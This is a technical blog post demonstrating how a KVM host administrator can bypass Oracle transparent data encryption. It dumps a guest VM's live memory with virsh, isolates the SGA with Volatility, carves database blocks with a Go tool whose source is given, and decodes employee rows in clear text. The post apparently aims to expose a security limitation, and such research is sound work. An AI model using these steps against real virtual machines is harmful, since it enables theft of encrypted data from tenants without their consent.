KVM – how to read encrypted Oracle Database blocks from Virtual Machine memory


15.04.2021
by Kamil Stawiarski

Remember my post, regarding dumping the SGA to read encrypted blocks?

What if I tell you, that you can do the same, while being a KVM host administrator with no credentials to a VM itself?

Let’s prepare our secure database in a way I did in article AMM vs security.

After enabling Oracle Wallet and turning possibility of encrypting data, I moved table EMPLOYEES to my new "secure" Tablespace:

SQL> alter system set db_create_file_dest='/opt/oracle/oradata';

Zmieniono system.

SQL> create pluggable database pdbsec from orclpdb1;

Utworzono wtyczkowa baze danych.

SQL> alter session set container=pdbsec;

SQL> startup
Wtyczkowa baza danych zostala otwarta.

Zmieniono sesje.

SQL> administer key management set keystore open identified by "ZyrafyWchodzaDoSzafy";

Zmieniono magazyn kluczy.

SQL> administer key management set key identified by "ZyrafyWchodzaDoSzafy" with backup;

Zmieniono magazyn kluczy.

SQL> create tablespace secure_data
  2  datafile size 128m
  3  autoextend on next 64m
  4  maxsize 1g
  5  encryption using 'AES256'
  6  default storage (encrypt);

Utworzono przestrzen tabel.

SQL> alter table hr.employees move tablespace secure_data;

Zmieniono tabele.

OK, so now let’s say that I’m an evil KVM administrator who knows that there is an Oracle Database running inside a VM called DB3. And I know that there are some pretty interesting things hidden inside! 🙂

Like in my previous article about VMI I’m going to make a VM memory dump with virsh command:

[root@rapier volatility]# export LIBVIRT_AUTH_FILE=/etc/ovirt-hosted-engine/virsh_auth.conf
[root@rapier volatility]# virsh dump db3 --live --memory-only --file ../db3.memory

Domain db3 dumped to ../db3.memory

Great, know let’s check SPID of some process, based on which we could dump SGA contents. Like DBW0 for instance:

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_pslist | grep dbw0
Volatility Foundation Volatility Framework 2.6.1
0xffff9687b1094200 ora_dbw0_orclcd      18821           1               -               54321  0x000000004b9f2000 2021-04-15 12:18:24 UTC+0000

Once we have it, we can check process maps:

root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_proc_maps -p 18821
Volatility Foundation Volatility Framework 2.6.1
Offset             Pid      Name                 Start              End                Flags               Pgoff Major  Minor  Inode      File Path
------------------ -------- -------------------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- ---------
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x0000000000400000 0x0000000016ee3000 r-x                   0x0    253      0  273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00000000170e3000 0x000000001724b000 r--            0x16ae3000    253      0  273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x000000001724b000 0x00000000172a9000 rw-            0x16c4b000    253      0  273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00000000172a9000 0x00000000172f8000 rw-                   0x0      0      0          0
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x0000000017c0e000 0x0000000017c5b000 rw-                   0x0      0      0          0 [heap]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x0000000060000000 0x0000000060001000 r--                   0x0      0      4          5 /:[5]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x0000000060001000 0x00000000608b7000 rw-                0x1000      0      4          5 /:[5]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x0000000061000000 0x00000000bc000000 rw-                   0x0      0      4          6 /:[6]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00000000bc000000 0x00000000bc749000 rw-                   0x0      0      4          7 /:[7]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00000000bd000000 0x00000000bd003000 rw-                   0x0      0      4          8 /:[8]
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00007fd215304000 0x00007fd215307000 r-x                   0x0    253      0   86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00007fd215307000 0x00007fd215506000 ---                0x3000    253      0   86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00007fd215506000 0x00007fd215507000 r--                0x2000    253      0   86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200    18821 ora_dbw0_orclcd      0x00007fd215507000 0x00007fd215508000 rw-                0x3000    253      0   86948257 (...removed...)

Check out the highlighted line: with Start = 0x0000000061000000 and End = 0x00000000bc000000

If we subtract those 2 values we get:

[root@rapier volatility]# python -c 'print int("0x00000000bc000000",16)-int("0x0000000061000000", 16)'
1526726656

Which the same exact number as a sum of Variable Size plus Database Buffers in our target database:

SQL> show sga

Total System Global Area 1543500872 bytes
Fixed Size		    9135176 bytes
Variable Size		  553648128 bytes
Database Buffers	  973078528 bytes
Redo Buffers		    7639040 bytes
SQL> select 553648128 + 973078528 from dual;

553648128+973078528
-------------------
	 1526726656

How to dump the contents of SGA then? Very simple:

[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_dump_map -p 18821 -s 0x0000000061000000 --dump-dir=$PWD/maps/
Volatility Foundation Volatility Framework 2.6.1
Task       VM Start           VM End                         Length Path
---------- ------------------ ------------------ ------------------ ----
     18821 0x0000000061000000 0x00000000bc000000         0x5b000000 /root/volatility/maps/task.18821.0x61000000.vma
[root@rapier volatility]# du -sh /root/volatility/maps/task.18821.0x61000000.vma
1,5G	/root/volatility/maps/task.18821.0x61000000.vma

Now, we have a separate file for SGA, we can extract some dictionary values out of it. I know that OBJ$ in database 19c is 18, so I can use a slightly modified version of my SGADUMP tool:

package main

import (
  "os"
  "fmt"
  "strconv"
  "encoding/binary"
)

func main() {
  var shmfile string
  var blocksize int64
  var data_object_id uint64
  var fname string
  if len(os.Args) < 9 {
      fmt.Printf("sgadump by Kamil Stawiarski (@ora600pl) - dumps database blocks from SGA VM memory dump\n")
      fmt.Printf("Usage: sgadump -b block_size -d data_object_id -s shmfile -o output_file_name\n")
      return
  }
  for i := 0; i < len(os.Args) ; i++ {
      if os.Args[i] == "-s" {
          shmfile = os.Args[i+1]
      } else if os.Args[i] == "-d" {
          data_object_id, _ = strconv.ParseUint(os.Args[i+1], 10, 32)
     } else if os.Args[i] == "-b" {
          blocksize, _ = strconv.ParseInt(os.Args[i+1], 10, 32)
     } else if os.Args[i] == "-o" {
          fname = os.Args[i+1]
     }
  }

  file, err := os.Create(fname)
  if err != nil {
    panic(err)
  }
  defer file.Close()


  if segment, err := os.Open(shmfile) ; err == nil {
      defer segment.Close()
      foundBlocks := 0
      fs, _ := segment.Stat()
      blocks := fs.Size() / blocksize
      var i int64
      for i = 0; i < blocks ; i++ {
	  block_data := make([]byte, blocksize)
          segment.Read(block_data)
          if block_data[0] == 6 {
              objd := uint64(binary.LittleEndian.Uint32(block_data[24:28]))
              if data_object_id == objd {
                file.Write(block_data)
                foundBlocks++
              }
          }
       }
       fmt.Printf("shmid = %s\t size is %d, blocks = %d\n", shmfile, fs.Size(), blocks)
       fmt.Printf("Dumped %d blocks to %s\n", foundBlocks, fname)
   }
}
[root@rapier maps]# ./sgadump_vmi -b 8192 -d 18 -s task.18821.0x61000000.vma -o obj.out
shmid = task.18821.0x61000000.vma	 size is 1526726656, blocks = 186368
Dumped 27 blocks to obj.out

Cool, I found 27 block candidates. Let’s find our block with XXD and rico2.py

[root@rapier maps]# xxd -g 4 -c 16 obj.out | grep -B 2 -A 2 EMPLOY
0006b10: b861061d 1a052c59 2e2dc6b3 83018001  .a....,Y.-......
0006b20: 80018004 c3024053 2c011a04 c3082758  ......@S,.....'X
0006b30: 04c30828 0e03c202 0a09454d 504c4f59  ...(......EMPLOY
0006b40: 45455302 c102ff02 c1030778 79040f0f  EES........xy...
0006b50: 2a140778 79040f0f 2c070778 79040f0f  *..xy...,..xy...

Let’s analyze this. NAME (object_name) is the 4th column of OBJ$ table – first 3 are numbers: OBJ#, DATAOBJ# and OWNER#. We are interested in decoding DATAOBJ#.

Let’s try to understand those HEX numbers. We know that EMPLOYEES is represented by 9 bytes: 454d504c4f59454553

So the previous 03c2020a should mean – 3 bytes of value: c2020a (OWNER# = 109)

And previous to that, we have: 04c308280e. Which means: 4 bytes of value: c308280e. If we decode this to Oracle Number, we will get: 73913

If we had our database access, we could confirm that this is the table we are looking for:

SQL> select name
  2  from obj$
  3  where DATAOBJ#=utl_raw.cast_to_number('c308280e')
  4  and   OWNER#=utl_raw.cast_to_number('c2020a');

NAME
------------------------------------------------------------------
EMPLOYEES

Once we determine our DATA_OBJECT_ID, we can use sgadump_vmi once more:

[root@rapier maps]# ./sgadump_vmi -b 8192 -d 73913 -s task.18821.0x61000000.vma -o employees.out
shmid = task.18821.0x61000000.vma	 size is 1526726656, blocks = 186368
Dumped 1 blocks to employees.out

Now we can prepare a listfile and examine our block with rico2.py

[root@rapier maps]# echo "1 employees.out" > listfile
[root@rapier maps]# python ~/rico2.py listfile
RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl)
This is open source project to map BBED functionality.
If you know how to use BBED, you will know how to use this one.
Not everything is documented but in most cases the code is trivial to interpret it.
So if you don't know how to use this tool - then maybe you shouldn't ;)

Usage: python2.7 rico2.py listfile.txt
The listfile.txt should contain the list of the DBF files you want to read

 !!! CAUTION !!!!

This tool should be used only to learn or in critical situations!
The usage is not supported!
If found on production system, this software should be considered as malware and deleted immediately!

1	employees.out
rico2 > set dba 1,0
	DBA		0x400000 (4194304 1,0)
rico2 > p *kdbr[0]
rowdata[6938]				@8126	0x2c
-------------
flag@8126:	0x2c
lock@8127:	0x0
cols@8128:	11


col    0[2]     @8129:  c202
col    1[6]     @8132:  53746576656e
col    2[4]     @8139:  4b696e67
col    3[5]     @8144:  534b494e47
col    4[12]    @8150:  3531352e3132332e34353637
col    5[7]     @8163:  78670611010101
col    6[7]     @8171:  41445f50524553
col    7[3]     @8179:  c30329
col    8[0]     @8183:  *NULL*
col    9[0]     @8184:  *NULL*
col   10[2]     @8185:  c15b


rico2 > x /rncccctcnnnn
rowdata[6938]				@8126	0x2c
-------------
flag@8126:	0x2c
lock@8127:	0x0
cols@8128:	11


col    0[2]     @8129:  c202                                     100
col    1[6]     @8132:  53746576656e                             Steven
col    2[4]     @8139:  4b696e67                                 King
col    3[5]     @8144:  534b494e47                               SKING
col    4[12]    @8150:  3531352e3132332e34353637                 515.123.4567
col    5[7]     @8163:  78670611010101                           2003-06-17:00:00:00
col    6[7]     @8171:  41445f50524553                           AD_PRES
col    7[3]     @8179:  c30329                                   24000
col    8[0]     @8183:  *NULL*
col    9[0]     @8184:  *NULL*
col   10[2]     @8185:  c15b                                     90

And voilà! 🙂


Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
REGON:362524978
+48 508 943 051
+48 661 966 009
info@ora-600.pl

Newsletter Sign up to be updated